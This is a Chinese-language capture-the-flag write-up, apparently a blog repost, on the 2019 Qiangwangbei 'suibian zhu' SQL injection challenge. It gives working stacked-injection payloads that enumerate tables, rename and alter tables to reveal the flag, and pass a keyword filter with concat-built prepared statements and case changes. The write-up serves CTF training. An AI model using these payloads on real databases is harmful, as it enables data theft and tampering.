[原題復現]2019強網杯WEB-隨便注(多種方法)


簡介

 原題復現:https://gitee.com/xiaohua1998/qwb_2019_supersqli

 考察知識點:SQL注入漏洞-堆疊注入

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

做題過程

打開頁面測試注入點

//判斷注入點 存在注入!
' and 1=1#
' and 1=2#

//判斷字段  字段為2!
order by 2#

 

之后進行union聯合注入的時候發現了正則過濾 幾乎過濾了我們所有能用到的語句

' union select 1,2#

在這里我們采用堆疊注入 show tables 查詢當前數據庫中的表發現了兩個表 

';show tables;#

 

我們可以采用show方法查看兩個表里面的字段

//查看words表的字段
';show columns from words;# 
//查看1919810931114514表的字段
';show columns from `1919810931114514`;#

 

(此段看WP的emmmm我都被菜哭了,不過這個姿勢真的騷)我們現在得到了表名 字段名 我們想剛開始我們打開的頁面輸入1有回顯 回顯的數據肯定來自word這個表所以這下我們啟用騷姿勢

我們可以把原有的word表改名為其他比如word1將`1919810931114514`這個表改名為word 然后我們將他的flag字段改成id

payload:

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;#

提交1'or 1=1# 因為id為1的值查不到所以返回為假 id字段里面的值是flag  所以加上這個讓這條語句始終返回真則會爆出flag;

 

 

方法二:

//在存有flag的表中添加一個id列,
alter table `1919810931114514` add(id int NULL);

//將words的表更名為任意名
rename table `words` to `xiaohua`;

//將存有flag的表19198...更名為words
rename table `1919810931114514` to `words`;

payload:

1';alter table `1919810931114514` add(id int NULL);rename table `words` to `xiaohua`;rename table `1919810931114514` to `words`;

這里完了之后我們的flag表里面的值是顯示不出來的因為id 是NULL所以用or 1=1語句前面的語句返回為假 后面的返回為真也是真

獲得flag:

 

方法三:

 使用這個方法: Mysql預處理語句prepare、execute、deallocate

我們進行構造這個語句:

set @a=concat("sel","ect flag from `1919810931114514`");
prepare hello from @a
execute hello;

payload:

1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;# 

發現有過濾 我們可以想辦法繞過

 大小寫繞過payload:

1';sEt @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#

得到flag

參考學習

https://www.cnblogs.com/chrysanthemum/p/11657008.html
https://www.zhaoj.in/read-5873.html
https://www.jianshu.com/p/e896bd3f5097


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM